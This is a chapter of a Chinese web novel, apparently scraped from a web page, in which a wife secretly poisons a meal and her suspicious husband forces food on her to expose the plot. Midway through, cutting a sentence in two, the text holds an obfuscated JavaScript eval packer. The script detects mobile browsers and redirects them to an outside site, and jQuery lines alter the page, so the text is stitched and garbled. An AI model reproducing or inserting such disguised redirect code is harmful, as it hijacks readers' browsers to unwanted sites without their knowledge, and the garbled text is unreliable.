12.等等
作品:《和追杀我的锦衣卫成亲了》 天色微明惨淡,寒凉晨雾牢牢罩住整个村落,不见半分晴和。
香火烟气在浓雾中弥漫飘荡,取代了往日的袅袅炊烟。整座村子静得可怕,竟听不到几声言语。
不知过了多久,铜锣声由远及近而来,村民拖着嘶哑的长腔高喊道:“祭拜山神,心怀敬畏,闲人避让——”
东风掠过枝条,卷起地上的细尘,稀稀拉拉的脚步从门前经过又远去。
一大早便被吵醒,江微遥打着哈欠趴在桌上,听着外面祭神的动静,忽而没忍住笑了起来。
稀薄的天光落在眉眼处,裴云蘅双手抱怀倚着门框,闻声看了过来。
纵使大门紧闭,江微遥却好似看到了什么可笑的场景,笑弯了眉眼。
不同以往温和内敛的笑,倒多了几分与之不符的洒脱。
裴云蘅不禁问:“你在笑什么?”
几缕晨风扬起江微遥耳边碎发,她笑吟吟道:“我在想此处的山神会不会被别的神明取笑。”
世人敬畏神明,她这话说得轻挑,确为大不敬之言。
剑眉星目沾上几分雾气,倒是少了几分锐利,裴云蘅眉峰轻挑,愿闻其详:“哦?”
“我听周大娘说村子里已经敬了几十年的山神了,连花女都选了二十有余,可山神还是年年震怒。”
江微遥杏眸弯起,却生出几分嘲意:“到底是山神不顶用,还是......”
人心不足蛇吞象。
她没有继续说下去,眼底的嘲意也敛下,笑盈盈地看着裴云蘅,又恢复了往日的神态:“是不是很可笑?”
长睫微敛,裴云蘅道:“借神欺民,奸邪之行,需官府镇压。”
江微遥摇头:“此处远离城镇偏僻难行,恐鞭长莫及。”
裴云蘅淡道:“那便是官府无能。”
话落,他抬起眸子,话锋一转问道:“昨日不是还去求神佛庇佑一二,我原以为你是信神拜佛的。”
......真是无时无刻不在试探。
江微遥脸上神色一僵,慢吞吞地说:“明安寺很灵的,周大娘的平安坠就是在那里求得,自然与之不同。”
说着说着她哼一声,似是又想起了昨日的不愉快,撇着嘴将头转了过去,露个后脑勺给他。
祭神一直持续到晌午才结束。
炊烟终于升起,驱散了几分呛人的香火烟气。
“二丫,将食盒拿来。”
周大娘麻利地炒了两个菜出来,看了一眼炖在砂锅里的鸡汤,丢进去一把小葱。
正屋内,二丫手里紧紧攥着药粉,犹豫着上前两步,又猛地顿住。
手心冒着热汗,她一颗心都提到嗓子眼里,脑海中不断回想起那句话——
“你能帮我个忙,将这包药粉洒在我夫君的饭食中吗?”
到底是什么药,要偷偷洒在饭食中。
是毒药还是......
二丫绞尽脑汁都想不出另外一种可能了。
江娘子要将她的丈夫毒死吗?
为什么?
脑海中不禁闪过江娘子那张温柔和煦的面容,和她丈夫冷冰冰的面庞,二丫迟疑地想,难不成是因为她丈夫也会动手打人?
就像她爹一样。
是了,一定是这样的。
否则江娘子如此好脾气的人怎么会痛下杀手。
江娘子肯帮阿姐和王家阿姐,她自然也要投桃报李。
“你这丫头在干什么?还不快过来!”周大娘高声催促。
小手握拳,二丫终于下定了决心,大步朝厨房走去。
二丫拎着食盒来的时候,江微遥已经昏昏欲睡了。
虽是努力强装镇定,但毕竟还是年幼稚童,看见裴云蘅时,脸上难免露出一丝慌乱。
二丫赶紧低下头,语气硬邦邦地说:“这是午膳。”
她抿了抿唇,尽量克制语气中的颤抖:“两盘菜和两碗米粥,还有两碗热汤。鸡汤是给你喝的,甜汤是给江娘子喝的,这是村子里祭完神的习俗。”
倒还真没有露出什么破绽。
说完,她将食盒递给裴云蘅,头也不回地离开了。
裴云蘅脸上看不出什么情绪,拎着食盒走进来。
江微遥道:“不好白吃白喝,明日我包些银两给周大娘送去。”
说完,她也不等裴云蘅回答,朝着床榻走去:“你先吃吧,我小睡片刻,给我剩些饭食就好。”
长睫微动,裴云蘅淡声道:“睡醒饭菜便凉了。”
“凉了便凉了,反正我也没有什么胃口。”江微遥故意说道:“给我留碗甜汤就行。”
这是二人落脚此处后,头一次没有坐在一起用膳。
江微遥褪去鞋袜躺在床上,床幔缓缓垂下,听着屋内的动静。
片刻后,她如愿听到碗筷的声音,方才合眼沉沉睡去。
这一睡便是半个时辰。
再起身时,漫天弥漫的香火烟气已经彻底消散,江微遥掀开床幔下床,听到进院门的脚步声。
她走到屋门前往外一看,果然是裴云蘅,他手中还拎着那方熟悉的食盒。
不明所以地看着他,江微遥问:“你干什么去了?”
“想着你该醒了,去把饭菜热一热。”裴云蘅说。
江微遥抿了抿唇:“何必这么麻烦,我真没有什么胃口......”
“没胃口也要吃些,不然身子怎么受得了。”裴云蘅慢条斯理地说,随后将热好的饭菜从食盒中一一取出。
两盘菜各单独留出来了半份,还有一个馒头......两碗热汤和一碗米粥。
江微遥浓密卷翘的长睫不由颤动一瞬。
她不动声色道:“怎么留了这么多,夫君看起来也没什么胃口......”
她说:“不如再陪我一起用些吧,我实在是吃不完。”
剑眉轻挑,裴云蘅轻轻一笑,深邃的眉眼间却流露出几分冷漠寒凉:“好啊。”
两人坐了下来,江微遥没有动筷子,而是将手先伸向了那碗甜汤。
食不知味的将甜汤喝完,她又吃了半个馒头便放下筷子,低声说:“我吃饱了。”
指节叩着桌面,裴云蘅将那碗热得滚烫的鸡汤推给她:“你最爱喝鸡汤,怎么能不尝尝?”
江微遥面色明显一僵:“......我吃不下了。”
“而且,”她强笑道,“二丫已经说了这是村子里的习俗,鸡汤是给你喝的。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381774|199664||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“你早上还对这里的山神嗤之以鼻,如何又要乖乖遵守这些莫须有的习俗?”
裴云蘅似笑非笑地看着她:“你身子弱,要多喝鸡汤补补。”
他的声音不似之前那般冷硬,甚至带着几分关怀的意味,却听得人毛骨悚然。
她什么时候身子弱了?明明只是爱哭!
少给她乱加人设了。
江微遥眼皮狠狠一跳,恨不能破口大骂,唇角紧绷成一条直线。
见她沉默不动,裴云蘅脸上的笑意又深了三分,“怎么不喝?难不成是......”
那双沉郁黑眸饶有兴味地看着江微遥,裴云蘅不紧不慢道:“这碗鸡汤里被下了砒霜?”
猛地抬头看向裴云蘅,江微遥那双杏眸里填满不可置信,似是伤极痛极,她闭了闭眼,怒而反笑,捧起那碗还冒着热气的鸡汤一饮而尽。
“哐当”一声。
她将汤碗重重放在桌子上,语气含着毫不掩饰的怨怒:“这下可以了吗!”
说罢,她起身就走。
“等等。”
刚行两步,身子还未踏出门槛,身后再次传来裴云蘅不紧不慢的声音。
这声等等,莫名令江微遥想起了在刘府遇裴云蘅时的场景。
她心不由沉了沉。
无声地叹了口气,江微遥转过身来。
剑眉下压,眸色浓黑如墨,裴云蘅薄唇微翘,居高临下地看着她,似是在看一只已入囚笼的狐狸。
他唇边勾起的笑轻蔑又冰冷。
这一幕还真是熟悉。
江微遥杏眸含泪,似是无法承受这铺天盖地的委屈:“又怎么了?”
“还有这碗白粥。”裴云蘅薄削眼皮轻抬。
呼吸克制不住的一滞,江微遥反应过来后身子不由往后一退:“你......”
抬手止住江微遥未说完的话,这出戏裴云蘅已经欣赏够了,他失了耐心,问:“是你自己喝,还是我喂你喝?”
江微遥身子狠狠一颤,双手情不自禁地发抖。
她刚想迈步离开,却被裴云蘅先一步抓住手腕。
力道带着不容反抗的狠劲,将江微遥摁坐在地上,裴云蘅一手掐住她的下颚,不顾她的用力挣扎强迫她张开口,将那碗还有余温的白粥倒了进去。
“咳、咳咳!”
江微遥被迫吞咽了好几口,被呛得撕心裂肺地咳了起来。
她拼尽全力将裴云蘅推开。
泪水顺着眼尾滑落下来,凌乱发丝贴着脸颊,江微遥形色狼狈地瘫坐在地上,浑身绵软无力,像是被抽去了筋骨。
裴云蘅神情漠然冷硬,眼底无半分波澜,冷漠的近乎残忍。
可一刻钟过去、两刻钟过去、三刻钟过去、半个时辰过去......
江微遥瘫坐在地,脸色苍白如纸,却依旧安然无恙。
裴云蘅眸色微动,眉心微不可察地拢起来。
江微遥忽而低低地笑了起来。
顺着脸颊滴落的泪水打湿手边衣裙,江微遥笑声越来越凄然,连带着身子都克制不住地颤抖起来。
她抬头看向裴云蘅,泪眼婆娑翻涌着惊怒哀怨:“夫君在等什么,等我七窍流血,毒发身亡吗?”

